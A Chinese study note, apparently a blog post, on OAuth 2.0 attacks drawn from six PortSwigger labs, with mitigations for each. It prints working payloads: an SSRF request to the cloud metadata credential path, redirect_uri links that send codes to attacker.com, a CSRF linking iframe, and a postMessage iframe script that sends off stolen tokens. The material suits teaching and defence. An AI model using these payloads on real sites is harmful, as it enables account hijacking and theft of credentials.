【学习笔记】OAuth 2.0 安全攻防:从 Portswigger 六大实验看认证漏洞挖掘

OAuth 2.0 已经成为现代 Web 应用的标准认证协议,但在便捷的单点登录背后,隐藏着诸多安全隐患。本文基于 Portswigger Web Security Academy 的六大 OAuth 实验,系统梳理攻击手法、漏洞原理与防御方案,帮助大家建立完整的 OAuth 攻防知识体系。

一、OAuth 2.0 基础:你真的了解授权流程吗?

在深入漏洞之前,我们先厘清 OAuth 2.0 的两种核心模式:

1.1 授权码模式(Authorization Code)

**最安全、最推荐的流程:**其核心设计通过分离授权码(Authorization Code)与访问令牌(Access Token)的传递通道,显著提升安全性。

复制代码
用户点击登录 → 授权服务器返回 code → 后端用 code+client_secret 换 token

典型授权过程:

1)用户发起授权请求

客户端生成授权链接,重定向用户至授权服务器。即网站拼出这个 URL,把用户带到微信的授权页。

bash 复制代码
GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read&state=xyz123

这是第三方应用(客户端)将用户重定向到授权服务器(如 Google、GitHub 或微信登录页面)时构造的链接。

其中:response_type=code:固定值,表明请求授权码。

state:防CSRF攻击的随机字符串。

2)用户登录并授权

用户输入账号密码,并点击"同意授权"。并确认授权范围(如读取个人资料)。

3)返回授权码(Authorization Code)

授权服务器(如 Google、GitHub)对刚才发出的授权请求做出的正面回应。它告诉浏览器:"用户已经同意了,现在请带着这个'临时凭证'跳回到开发者指定的页面去。"

授权服务器生成短期有效(通常≤10分钟)的授权码,通过前端重定向返回客户端:

bash 复制代码
HTTP/302 Found
Location: CALLBACK_URL?code=AUTHORIZATION_CODE&state=xyz123

其中,HTTP/302 Found : 这是一个 HTTP 状态码,表示"临时重定向"。它告诉浏览器不要停在当前页面,而是立即跳转到 Location 标头指定的地址。

Location: 这是浏览器下一步要访问的目标完整 URL。

CALLBACK_URL: 这是你在第一步请求中提供的回调地址(你的后端接口或前端页面)。

  • code=AUTHORIZATION_CODE:

    • 这是最核心的部分! * 这是一个临时的、短寿命的授权码(Authorization Code)

    • 它本身不是 Access Token(不能直接用来调数据),而是一张"取件码"。你的服务器稍后需要用这个 code 去换取真正的 access_token

  • state=xyz123: 这是原样返回的随机字符串。你的客户端必须校验这个值是否与你发送时的一致,以确保这个响应是对应你刚才发出的请求,而不是黑客伪造的。


4)客户端换取访问令牌(Back Channel)

这是 OAuth 2.0 授权流程中最关键、最安全 的一步:客户端在后端使用授权码换取访问令牌(Access Token)(避免前端暴露敏感信息):

bash 复制代码
POST /token
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL&client_id=CLIENT_ID&client_secret=CLIENT_SECRET

其中,**client_secret:**验证客户端身份的关键凭证。

为什么这一步如此重要?

(1)安全隔离 :用户在浏览器里只能看到临时的 code。即便 code 被截获,黑客如果没有你的 client_secret(存在你服务器上),也无法换成真正的令牌。

(2)身份确认 :通过 client_secret,授权服务器可以百分之百确定:"哦,这确实是开发者本人在请求数据。"

(3)一次性消耗code 通常只能使用一次,且会在几分钟内失效。所以拿到 code 后,后端必须"秒换" Token。有效期通常只有 1-10 分钟。

5)授权服务器发放令牌

验证通过后,返回JSON响应,这才是真正想要的"通行证"

bash 复制代码
{
  "access_token": "eyJhbGci...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "def456",
  "scope": "read"
}

其中:

  • access_token: 之后你访问用户数据(如头像、好友列表)时,必须在 Header 里带上它。

  • expires_in: 令牌的有效期(单位:秒)。

  • refresh_token : 可选。当 access_token 过期后,用来刷新获取新的 Token,不需要用户再次登录。

6)客户端访问资源

客户端携带访问令牌请求资源:

bash 复制代码
GET /api/resource
Authorization: Bearer eyJhbGci...

可以看出:

  • 授权码(code)通过浏览器传递

  • Access token 只在后端通道流转

  • 支持 PKCE 扩展,防止 CSRF(注:CSRF跨站请求伪造,通过操纵用户浏览器自动提交请求的攻击方法。CSRF由用户的浏览器自动发起,使用的是用户已经认证通过的凭据,在Web应用上提交的请求或操作不是出自用户的本意)

这个请求是一个标准的 HTTP 资源请求,其核心在于 Authorization 请求头:

  • 客户端发送请求:应用(后端或前端)将令牌放在 Header 中发送给资源服务器。

  • 服务器校验

    • 资源服务器检查令牌是否伪造(校验签名)。

    • 检查令牌是否过期。

    • 检查令牌是否有权访问 /api/resource(校验 scope)。

  • 返回数据:如果校验通过,服务器会返回用户请求的私有数据(通常是 JSON 格式)。

关键防护机制

1.2 隐式授权模式(Implicit)

为单页应用(SPA)设计,但安全性较差

复制代码
用户点击登录 → 授权服务器直接返回 access_token(在 URL #fragment 中)
  • Access token 暴露在浏览器地址栏

  • 通过 JavaScript 提取使用

  • OAuth 2.1 已废弃此模式

1.3 与其他模式的对比

**二、**六大实验全景对比

实验名称 难度 核心漏洞 攻击目标 关键利用点
SSRF via OpenID Dynamic Client Registration ⭐⭐ Practitioner 动态注册端点无认证 + logo_uri SSRF 云环境元数据(内网169.254.169.254) 注册恶意客户端,触发二阶 SSRF
OAuth account hijacking via redirect_uri ⭐⭐ Practitioner redirect_uri 无白名单验证 授权码(code) 构造恶意 redirect_uri 外泄 code
Forced OAuth profile linking ⭐⭐ Practitioner 缺失 state 参数,CSRF 攻击 已登录用户的账户绑定 预获取code,诱使 admin 完成回调
Authentication bypass via OAuth implicit flow ⭐ Apprentice 客户端未验证 token 与用户绑定关系 任意用户账户 替换 email 参数,token 不变
OAuth account hijacking via redirect_uri ⭐⭐ Practitioner redirect_uri 无白名单验证 授权码(code) 构造恶意 redirect_uri 外泄 code
Stealing OAuth access tokens via an open redirect ⭐⭐ Practitioner redirect_uri 目录遍历 + 开放重定向 Access token 利用 ../ 遍历到跳转页面,外泄 token
Stealing OAuth access tokens via a proxy page ⭐⭐ Practitioner redirect_uri 目录遍历 + 不安全 postMessage Access token iframe 劫持 + postMessage 跨域泄漏

三、六大攻击向量深度解析

3.1 攻击向量一:授权服务器配置缺陷

代表实验:SSRF via OpenID Dynamic Client Registration

漏洞原理

  • 动态客户端注册端点(/reg无需认证即可访问

  • logo_uri 参数指定的 URL 会被授权服务器访问以获取 logo

  • 攻击者指向内网地址(169.254.169.254),造成 SSRF


注:SSRF(Server-Side Request Forgery)是一种攻击者操纵服务器发起非预期请求的安全漏洞。攻击者通过控制用户输入(如URL参数),诱导服务器向指定目标发送HTTP请求,从而绕过防火墙访问本应隔离的资源。

漏洞成因

  • 功能设计缺陷:服务端需从外部URL获取数据(如图片加载、网页转码、API聚合),但未对用户提供的URL进行严格验证。
  • 信任边界滥用 :请求源自服务器IP(受信任),可访问内网服务(如数据库、云元数据)、本地主机(127.0.0.1)或敏感协议(file://gopher://

典型路径

bash 复制代码
A[攻击者提交恶意URL] --> B(服务端解析并发起请求)
B --> C{访问目标:内网/本地/云元数据}
C --> D[敏感数据泄露或内网渗透]

利用代码

bash 复制代码
{
    "redirect_uris": ["https://example.com"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

防御方案

    1. 注册端点要求 Initial Access Token
    1. 严格校验所有 URI 参数(白名单域名)
    1. 禁止访问内网网段(169.254.0.0/16, 10.0.0.0/8 等)

3.2 攻击向量二:redirect_uri 劫持

代表实验:OAuth account hijacking via redirect_uri

漏洞原理

  • 授权服务器未验证 redirect_uri 或验证不严格

  • 攻击者将 redirect_uri 改为自己的服务器

  • 受害者授权后,code/token 被发送到攻击者服务器

利用技巧

bash 复制代码
# 恶意授权链接
GET /auth?client_id=xxx&redirect_uri=https://attacker.com/callback&response_type=code

进阶攻击:目录遍历 + 开放重定向组合

javascript 复制代码
# 先利用 ../ 遍历到站内开放重定向点
redirect_uri=https://victim.com/oauth-callback/../post/next?path=https://attacker.com

防御方案

    1. 精确匹配:注册时登记的 URI 必须与请求完全一致
    1. 禁止通配符 :不使用 * 或部分匹配
    1. PKCE 强制:即使 code 被截获也无法使用

3.3 攻击向量三:CSRF 绑定攻击

代表实验:Forced OAuth profile linking

漏洞原理

  • • OAuth 流程缺失 state 参数(CSRF Token)

  • • 攻击者预先将自己的社交账户 绑定到受害者的本地账户

攻击流程

bash 复制代码
1. 攻击者登录自己的账户,开始 OAuth 绑定流程
2. 在授权回调前截获 code(Burp Drop)
3. 构造 CSRF 页面,诱导已登录的 admin 访问
   <iframe src="/oauth-linking?code=ATTACKER_CODE">
4. admin 的浏览器携带 session 完成绑定
5. 攻击者现在可用自己的社交账户登录 admin 账户

关键点:state 参数确保授权请求和回调的会话一致性

防御方案

  • 强制 state 参数:随机不可预测,绑定到用户会话

  • 验证一致性:回调时检查 state 是否匹配

3.4 攻击向量四:隐式流令牌泄漏

代表实验:Authentication bypass via OAuth implicit flow

漏洞原理

  • • 隐式流将 access_token 放在 URL fragment 中(#access_token=xxx

  • • 客户端应用未验证 token 归属,只检查 token 有效性

  • • 攻击者用自己的有效 token + 受害者的 email 完成登录

利用代码

javascript 复制代码
POST /authenticate
{
    "email": "victim@example.com",  // 篡改
    "username": "attacker",
    "token": "ATTACKER_VALID_TOKEN"  // 自己的 token
}

防御方案

  • 弃用隐式流:改用授权码模式 + PKCE

  • 服务端验证:用 token 向 OAuth 服务器请求用户信息,与提交的身份比对

3.5 攻击向量五:代理页面劫持

代表实验:Stealing OAuth access tokens via a proxy page

漏洞原理

  • 站内存在不安全的 postMessage 实现(如评论表单)

  • parent.postMessage(data, '*') 向任意域发送消息,包含当前 URL(含 token)

攻击链

redirect_uri 遍历到 comment-form 页面

→ 页面加载时自动 postMessage 发送 location.href(含 #access_token)

→ 攻击者的 exploit 页面作为 parent 接收消息

→ 外泄 token

利用代码:

javascript 复制代码
<!-- 攻击者页面 -->
<iframe src="https://oauth-server/auth?...&redirect_uri=../post/comment/comment-form&response_type=token"></iframe>
<script>
window.addEventListener('message', e => {
    fetch('/log?token=' + e.data.data)  // 捕获 token
}, false)
</script>

防御方案

  • 指定 targetOriginpostMessage(data, 'https://trusted.com')

  • 验证 event.origin:接收方检查消息来源

  • 不传输敏感数据:避免在 postMessage 中发送 token、session 等

3.6 攻击向量六:开放重定向组合攻击

代表实验:Stealing OAuth access tokens via an open redirect

与代理页面的区别:利用跳转而非 postMessage

攻击链

redirect_uri=../post/next?path=https://attacker.com

→ 授权后跳转到 /post/next?path=attacker.com#token

→ 开放重定向到 attacker.com?token=xxx(从 Referer 或 JS 提取)

防御方案

  • 修复开放重定向:path 参数只允许站内相对路径

  • 多重验证:跳转前检查 URL 是否在白名单

四、漏洞挖掘实战技巧

4.1 信息收集:发现 OAuth 端点

复制代码
1. 访问 /.well-known/openid-configuration
   → 获取 authorization_endpoint, token_endpoint, registration_endpoint
   
2. 检查登录按钮的 href
   → 分析 client_id, redirect_uri, response_type, scope
   
3. 查看页面源码和 JS 文件
   → 寻找 postMessage, addEventListener, window.location 等关键词

4.2、重定向测试矩阵

4.3 关键参数检查清单

  • state:是否存在?是否随机?是否验证?

  • redirect_uri:是否严格匹配?是否允许遍历?

  • scope:是否包含敏感权限?是否可修改?

  • response_type:是否为 token(隐式流)?

  • client_id:是否可枚举?是否与特定 redirect_uri 绑定?

  • PKCE:code_challenge 是否存在?

相关推荐
齐生13 天前
iOS 知识点 - 渲染机制、动画、卡顿小集合
笔记
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
用户962377954483 天前
VulnHub DC-1 靶机渗透测试笔记
笔记·测试
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
齐生14 天前
iOS 知识点 - IAP 是怎样的?
笔记
tingshuo29175 天前
D006 【模板】并查集
笔记
tingshuo29176 天前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent